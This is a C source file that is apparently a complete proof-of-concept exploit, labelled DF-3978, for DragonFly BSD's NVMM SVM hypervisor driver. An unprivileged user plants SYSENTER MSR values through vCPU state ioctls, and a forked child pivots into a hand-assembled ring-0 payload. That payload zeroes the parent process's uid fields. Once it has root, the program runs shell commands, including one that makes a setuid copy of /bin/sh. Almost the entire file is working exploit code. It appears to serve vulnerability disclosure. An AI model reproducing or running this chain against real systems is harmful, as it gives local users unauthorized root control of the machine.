DF-3978 / exploit.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 | /* * exploit.c -- DF-3978 full chain: unprivileged NVMM SVM user -> uid=0. * * Chain (file refs are into the DragonFly tree): * [1] NVMM_IOC_VCPU_SETSTATE writes attacker msrs[] verbatim into the * VMCB, including SYSENTER_{CS,ESP,EIP} * (sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:2005-2010). * [2] NVMM_IOC_VCPU_RUN -> svm_vmrun asm executes `vmload` before every * `vmrun` (sys/dev/virtual/nvmm/x86/nvmm_x86_svmfunc.S:180), * installing those values into the live IA32_SYSENTER_* MSRs. * [3] #VMEXIT does not restore them (host save area does not cover * VMLOAD-managed MSRs) and svm_vcpu_guest_misc_leave() * (nvmm_x86_svm.c:1524-1537) restores only STAR/LSTAR/CSTAR/SFMASK/ * FSBASE/KERNELGSBASE -> the corruption persists on the CPU * (verified live: kern.df3978_msrs shows the armed values). * [4] `sysenter` from ANY process transfers to ring 0 at * IA32_SYSENTER_EIP with RSP=IA32_SYSENTER_ESP, CS=IA32_SYSENTER_CS. * On this CPU (qemu64 TCG: no SMEP/SMAP) the ring-0 gadget lives in * a user page. NB: QEMU's translator implements the Intel SDM rule * (SYSENTER in *64-bit* mode -> #UD, observed as SIGILL in phase * A0), while AMD silicon (where SVM exists) allows it in long mode; * the compat-mode (32-bit CS) SYSENTER used for the pivot is valid * on both. The pivot is executed by a forked child that never * touched /dev/nvmm -- demonstrating the "any process" clause. * [5] Payload: reads CR0 (proof of CPL0), patches the PARENT process's * struct ucred (cr_uid/cr_ruid/cr_svuid = 0), returns to the child * via iretq. Parent observes uid=0. * * Usage: ./exploit <pproc> <off_p_ucred> <off_cr_uid> <off_cr_ruid> * <off_cr_svuid> [stage] (hex, from the df3978 rig; * pproc=0 -> deferred rig resolve; * stage: full|arm|consume|baseline) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <signal.h> #include <setjmp.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/wait.h> #include <dev/virtual/nvmm/nvmm.h> #include <dev/virtual/nvmm/nvmm_ioctl.h> #define HVA_BASE 0x10000000UL #define COMM_BASE 0x30000000UL #define RAM_SIZE (2UL * 1024 * 1024) #define G_CODE 0x1000 #define G_STACK 0x7000 #define PAY_VA 0x40000000UL /* CPL0 payload page (RWX) */ #define CONT_VA (PAY_VA + 0x200) #define STUB32 (PAY_VA + 0x300) /* compat sysenter stub */ #define CROUT (PAY_VA + 0xf00) /* CR0 proof slot */ #define MARK (PAY_VA + 0xf08) /* CPL0 marker 0x3978 */ #define PPSLOT (PAY_VA + 0xf10) /* struct proc * target */ #define USTK 0x50000000UL /* CPL0/user stack pages */ #define USTACK_TOP (USTK + 0x2000) /* iretq RSP; retaddr lives here */ #define R0_STACK (USTK + 0x800) /* SYSENTER_ESP value */ #define HIJACK_SYSENTER_CS 0x08 /* GSEL(GCODE_SEL=1, SEL_KPL) */ #define CHILD_WIN_CODE 0x42 static int fd; static nvmm_machid_t machid; static uint64_t off_p_ucred, off_cr_uid, off_cr_ruid, off_cr_svuid; static sigjmp_buf jb; static volatile sig_atomic_t got_sig; static void child_after0(void) __attribute__((__noreturn__, __used__)); static void sig_handler(int sig) { got_sig = sig; siglongjmp(jb, 1); } /* 64-bit-mode sysenter: informational only. Under QEMU TCG this faults * with SIGILL (#UD: Intel SDM 64-bit rule); on AMD hardware it behaves * like the compat form. Safe to run in-process: the fault happens with * CS unchanged (64-bit), so siglongjmp recovers cleanly. */ static int try_sysenter64(void) { struct sigaction sa, osa; int r = -1; got_sig = 0; memset(&sa, 0, sizeof(sa)); sa.sa_handler = sig_handler; sigemptyset(&sa.sa_mask); sigaction(SIGSEGV, &sa, &osa); sigaction(SIGILL, &sa, NULL); sigaction(SIGBUS, &sa, NULL); if (sigsetjmp(jb, 1) == 0) { __asm volatile ( " .byte 0x0F, 0x34 \n" /* sysenter */ " int3 \n" : : : "memory"); r = 0; } else { r = got_sig; } sigaction(SIGSEGV, &osa, NULL); return r; } /* Far-return down into the 32-bit compat code segment (GUCODE32_SEL=3 -> * selector 0x1b) and execute the sysenter stub there. Never returns. */ static void __attribute__((__noreturn__, __noinline__)) compat_sysenter(void) { __asm volatile ( " pushq $0x1b \n" " pushq %0 \n" " lretq \n" : : "r"((uint64_t)STUB32) : "memory"); __builtin_unreachable(); } static void die(const char *m) { fprintf(stderr, "DIE: %s: %s\n", m, strerror(errno)); exit(1); } /* ---- byte emitter for the CPL0 payload ---- */ static uint8_t *pp; static void e8_(uint8_t b0) { *pp++ = b0; } static void e16_(uint8_t b0, uint8_t b1) { pp[0]=b0; pp[1]=b1; pp+=2; } static void e24_(uint8_t a, uint8_t b, uint8_t c){ pp[0]=a; pp[1]=b; pp[2]=c; pp+=3; } static void e32_(uint8_t a, uint8_t b, uint8_t c, uint8_t d) { pp[0]=a; pp[1]=b; pp[2]=c; pp[3]=d; pp+=4; } static void eimm32_(uint32_t v) { memcpy(pp, &v, 4); pp += 4; } static void eimm64_(uint64_t v) { memcpy(pp, &v, 8); pp += 8; } static void build_payload(uint64_t pproc) { uint8_t *page = (uint8_t *)PAY_VA; uint32_t mark32 = (uint32_t)MARK; size_t jz_pos, jz_target; memset(page, 0xCC, 0x1000); pp = page; /* mov rax, cr0 ; mov [CROUT], rax -- CPL0 proof */ e24_(0x48, 0x0F, 0x20); e8_(0xC0); e16_(0x48, 0xA3); eimm64_(CROUT); /* mov rax, [PPSLOT] -- target struct proc * */ e16_(0x48, 0xA1); eimm64_(PPSLOT); /* mov rax, [rax+off_p_ucred] */ e24_(0x48, 0x8B, 0x80); eimm32_((uint32_t)off_p_ucred); /* test rax, rax ; jz skip -- never fault in ring 0 */ e24_(0x48, 0x85, 0xC0); jz_pos = (size_t)(pp - page); e16_(0x74, 0x00); /* patched below */ /* mov dword [rax+off_cr_X], 0 (uid/ruid/svuid) */ e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_uid); eimm32_(0); e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_ruid); eimm32_(0); e16_(0xC7, 0x80); eimm32_((uint32_t)off_cr_svuid); eimm32_(0); jz_target = (size_t)(pp - page); page[jz_pos + 1] = (uint8_t)(jz_target - (jz_pos + 2)); /* mov dword [MARK], 0x3978 */ e24_(0xC7, 0x04, 0x25); eimm32_(mark32); eimm32_(0x3978); /* ---- iretq frame back to CPL3 ---- */ e16_(0x6A, 0x23); /* push 0x23 (SS) */ e16_(0x48, 0xB8); eimm64_(USTACK_TOP); /* mov rax, USTACK_TOP */ e8_(0x50); /* push rax (RSP) */ e8_(0x9C); /* pushfq */ e24_(0x81, 0x0C, 0x24); eimm32_(0x200); /* or [rsp], IF */ e16_(0x6A, 0x2B); /* push 0x2b (CS) */ e16_(0x48, 0xB8); eimm64_(CONT_VA); /* mov rax, CONT_VA */ e8_(0x50); /* push rax (RIP) */ e16_(0x48, 0xCF); /* iretq */ /* CONT_VA: trampoline: ret into child_after0 (retaddr at USTACK_TOP) */ pp = page + 0x200; e8_(0xC3); /* STUB32 (compat mode): sysenter ; ud2 */ pp = page + 0x300; e16_(0x0F, 0x34); e16_(0x0F, 0x0B); *(uint64_t *)CROUT = 0; *(uint32_t *)MARK = 0; *(uint64_t *)PPSLOT = pproc; *(uint64_t *)USTACK_TOP = (uint64_t)(uintptr_t)&child_after0; printf("[P] payload bytes @%#lx:", PAY_VA); for (size_t i = 0; i < 0x50; i++) printf("%02x", page[i]); printf("\n"); } /* * Runs in the sacrificial child, entered from CPL0 via CONT_VA's `ret`. * The payload patched the PARENT's ucred (PPSLOT); this child reports the * ring-0 proof from its own COW copy of the payload page and exits with * the success code the parent waits for. */ static void __attribute__((__noreturn__, __used__)) child_after0(void) { uint64_t cr0 = *(uint64_t *)CROUT; uint32_t mark = *(uint32_t *)MARK; printf("[C5] RETURNED FROM RING 0 (child pid=%d): cr0=%#llx " "marker=%#x%s\n", getpid(), (unsigned long long)cr0, mark, (mark == 0x3978 && cr0 != 0) ? " *** RING 0 EXECUTED ***" : ""); printf("[C6] child's own uid=%d (the payload patched the PARENT's " "creds; the child never opened /dev/nvmm)\n", getuid()); fflush(stdout); _exit(CHILD_WIN_CODE); } /* * The consumer child inherits the payload/stack pages copy-on-write from * the fork. A kernel-mode (CPL0) write to a COW page cannot be resolved * by the VM system (user-mode faults only), so force the child's private * writable copies now, from user mode, for every location the ring-0 * payload writes: the CROUT/MARK/PPSLOT slots and the iretq frame area * below the ring-0 stack pointer. */ static void cow_pre_touch(void) { volatile uint64_t *w; for (w = (volatile uint64_t *)CROUT; (uintptr_t)w < PPSLOT + 8; w++) *w = *w; for (w = (volatile uint64_t *)(R0_STACK - 0x80); (uintptr_t)w < R0_STACK + 8; w++) *w = *w; } /* * Fork a fresh process that far-returns into compat mode and executes * `sysenter` there. Returns: -1 fork error, else the decoded wait status * info: on signal -> 128+sig, on CHILD_WIN_CODE exit -> CHILD_WIN_CODE. */ static int run_consumer_child(void) { pid_t pid; int status; pid = fork(); if (pid < 0) die("fork"); if (pid == 0) { signal(SIGSEGV, SIG_DFL); signal(SIGILL, SIG_DFL); signal(SIGBUS, SIG_DFL); setvbuf(stdout, NULL, _IONBF, 0); cow_pre_touch(); compat_sysenter(); /* never returns */ _exit(99); } if (waitpid(pid, &status, 0) < 0) die("waitpid"); if (WIFSIGNALED(status)) return 128 + WTERMSIG(status); if (WIFEXITED(status)) return WEXITSTATUS(status); return -2; } int main(int argc, char **argv) { struct nvmm_ioc_capability c; struct nvmm_ioc_machine_create mc; struct nvmm_ioc_hva_map hm; struct nvmm_ioc_gpa_map gm; struct nvmm_ioc_vcpu_create vc; struct nvmm_ioc_vcpu_setstate ss; struct nvmm_ioc_vcpu_run rr; struct nvmm_comm_page *comm; struct nvmm_x64_state *st; uint64_t pproc; int r; const char *stage = (argc > 6) ? argv[6] : "full"; if (argc != 6 && argc != 7) { fprintf(stderr, "usage: %s pproc off_p_ucred off_cr_uid off_cr_ruid " "off_cr_svuid [stage] (hex; from df3978 rig; pproc=0 " "-> deferred resolve; stage: full|arm|consume|baseline)\n", argv[0]); return 2; } pproc = strtoull(argv[1], NULL, 16); off_p_ucred = strtoull(argv[2], NULL, 16); off_cr_uid = strtoull(argv[3], NULL, 16); off_cr_ruid = strtoull(argv[4], NULL, 16); off_cr_svuid = strtoull(argv[5], NULL, 16); setvbuf(stdout, NULL, _IONBF, 0); printf("[*] DF-3978 exploit; pid=%d pproc=%#llx " "off(p_ucred)=%#llx off(cr_uid)=%#llx\n", getpid(), (unsigned long long)pproc, (unsigned long long)off_p_ucred, (unsigned long long)off_cr_uid); printf("[*] uid=%d euid=%d\n", getuid(), geteuid()); if (pproc == 0) { /* deferred mode: root side resolves our pid via the rig and * drops the struct proc * into /tmp/df3978.pproc */ FILE *f; int i; printf("[W] pid=%d: waiting for /tmp/df3978.pproc ...\n", getpid()); for (i = 0; i < 120; i++) { if ((f = fopen("/tmp/df3978.pproc", "r")) != NULL) { if (fscanf(f, "%llx", (unsigned long long *)&pproc) == 1 && pproc != 0) { fclose(f); break; } fclose(f); } sleep(2); } if (pproc == 0) die("no pproc file"); printf("[W] got pproc=%#llx\n", (unsigned long long)pproc); } if (mmap((void *)PAY_VA, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) != (void *)PAY_VA) die("mmap PAY"); if (mmap((void *)USTK, 0x3000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) != (void *)USTK) die("mmap USTK"); build_payload(pproc); if (strcmp(stage, "baseline") == 0) { /* stage: consumer child on a clean host (MSRs must be * un-armed): expect a signal death, machine must survive */ r = run_consumer_child(); printf("[baseline] compat sysenter (child): %s (status %d)\n", r >= 128 ? "faulted" : "??", r); printf("[baseline] guest survived: pid=%d alive\n", getpid()); return 0; } if (strcmp(stage, "consume") == 0) { /* stage: consumer child against previously-armed MSRs */ printf("[consume] forking consumer child (compat-mode " "sysenter) ...\n"); r = run_consumer_child(); if (r == CHILD_WIN_CODE) { printf("[consume] consumer child returned FROM RING 0; " "this process now has uid=%d euid=%d%s\n", getuid(), geteuid(), getuid() == 0 ? " *** UID 0 ***" : ""); if (getuid() == 0) { system("id"); system("echo DF3978-PWNED > " "/tmp/df3978_pwned; " "ls -l /tmp/df3978_pwned"); } } else { printf("[consume] child status %d\n", r); } return r == CHILD_WIN_CODE ? 0 : 9; } /* ---- phase A: baseline compat sysenter on a clean host ---- */ r = run_consumer_child(); printf("[A] baseline compat sysenter (child): %s (status %d)\n", r >= 128 ? "faulted" : "??", r); /* informational: 64-bit-mode sysenter */ r = try_sysenter64(); printf("[A0] 64-bit sysenter direct: %s (signal %d) [Intel-SDM #UD " "rule under QEMU; valid on AMD silicon]\n", r == 0 ? "NO FAULT (?!)" : "faulted", r); /* ---- phase B: arm VMCB SYSENTER fields + one VCPU_RUN ---- */ fd = open("/dev/nvmm", O_RDONLY | O_CLOEXEC); if (fd < 0) die("open(/dev/nvmm)"); memset(&c, 0, sizeof(c)); if (ioctl(fd, NVMM_IOC_CAPABILITY, &c)) die("capability"); printf("[B] nvmm capability v%u ok\n", c.cap.version); memset(&mc, 0, sizeof(mc)); if (ioctl(fd, NVMM_IOC_MACHINE_CREATE, &mc)) die("machine_create"); machid = mc.machid; memset(&hm, 0, sizeof(hm)); hm.machid = machid; hm.hva = HVA_BASE; hm.size = RAM_SIZE; if (ioctl(fd, NVMM_IOC_HVA_MAP, &hm)) die("hva_map"); memset(&gm, 0, sizeof(gm)); gm.machid = machid; gm.hva = HVA_BASE; gm.gpa = 0; gm.size = RAM_SIZE; gm.prot = PROT_READ | PROT_WRITE | PROT_EXEC; if (ioctl(fd, NVMM_IOC_GPA_MAP, &gm)) die("gpa_map"); memset(&vc, 0, sizeof(vc)); vc.machid = machid; vc.cpuid = 0; vc.comm = (void *)COMM_BASE; if (ioctl(fd, NVMM_IOC_VCPU_CREATE, &vc)) die("vcpu_create"); comm = (struct nvmm_comm_page *)vc.comm; *(uint8_t *)(HVA_BASE + G_CODE) = 0xF4; /* hlt */ st = &comm->state; memset(st, 0, sizeof(*st)); for (int i = 0; i < NVMM_X64_NSEG; i++) { st->segs[i].limit = 0xFFFF; st->segs[i].attrib.type = 3; st->segs[i].attrib.p = 1; } st->segs[NVMM_X64_SEG_GDT].attrib.type = 2; st->segs[NVMM_X64_SEG_IDT].attrib.type = 2; st->segs[NVMM_X64_SEG_TR].attrib.type = 3; st->segs[NVMM_X64_SEG_TR].attrib.s = 0; st->segs[NVMM_X64_SEG_LDT].attrib.s = 0; st->gprs[NVMM_X64_GPR_RFLAGS] = 2; st->gprs[NVMM_X64_GPR_RIP] = G_CODE; st->gprs[NVMM_X64_GPR_RSP] = G_STACK; st->crs[NVMM_X64_CR_CR0] = 0x10; st->crs[NVMM_X64_CR_XCR0] = 1; st->drs[NVMM_X64_DR_DR6] = 0xFFFF0FF0; st->drs[NVMM_X64_DR_DR7] = 0x400; /* ---- the attack: CPL0 pivot parameters in the VMCB ---- */ st->msrs[NVMM_X64_MSR_SYSENTER_CS] = HIJACK_SYSENTER_CS; st->msrs[NVMM_X64_MSR_SYSENTER_ESP] = R0_STACK; st->msrs[NVMM_X64_MSR_SYSENTER_EIP] = PAY_VA; comm->state_wanted = NVMM_X64_STATE_ALL; memset(&ss, 0, sizeof(ss)); ss.machid = machid; ss.cpuid = 0; if (ioctl(fd, NVMM_IOC_VCPU_SETSTATE, &ss)) die("vcpu_setstate"); printf("[B] setstate ok: SYSENTER_CS=%#x ESP=%#lx EIP=%#lx (payload " "page) armed\n", HIJACK_SYSENTER_CS, R0_STACK, PAY_VA); memset(&rr, 0, sizeof(rr)); rr.machid = machid; rr.cpuid = 0; r = ioctl(fd, NVMM_IOC_VCPU_RUN, &rr); printf("[B] vcpu_run rc=%d exit.reason=%d (any rc suffices: the asm " "prologue's vmload already loaded the guest SYSENTER MSRs)\n", r, rr.exit.reason); if (strcmp(stage, "arm") == 0) { printf("[arm] armed and one VCPU_RUN done; exiting with MSRs " "left corrupted (the finding's persistence property)\n"); return 0; } /* ---- phase C: a forked process that never touched nvmm pivots ---- */ printf("[C] forking consumer child (compat-mode sysenter) ...\n"); r = run_consumer_child(); if (r == CHILD_WIN_CODE) { printf("[D] consumer child returned FROM RING 0; this " "(arming) process now has uid=%d euid=%d%s\n", getuid(), geteuid(), getuid() == 0 ? " *** UID 0 ***" : ""); if (getuid() == 0) { system("id"); system("echo DF3978-PWNED > /tmp/df3978_pwned; " "ls -l /tmp/df3978_pwned"); system("cp /bin/sh /tmp/rootsh && chmod 4755 " "/tmp/rootsh && ls -l /tmp/rootsh && " "rm -f /tmp/rootsh"); } printf("[*] done (uid0 chain complete)\n"); return 0; } printf("[C] consumer child did NOT pivot (status %d): host SYSENTER " "MSRs not corrupted (fixed backend / no SVM)\n", r); return 9; } |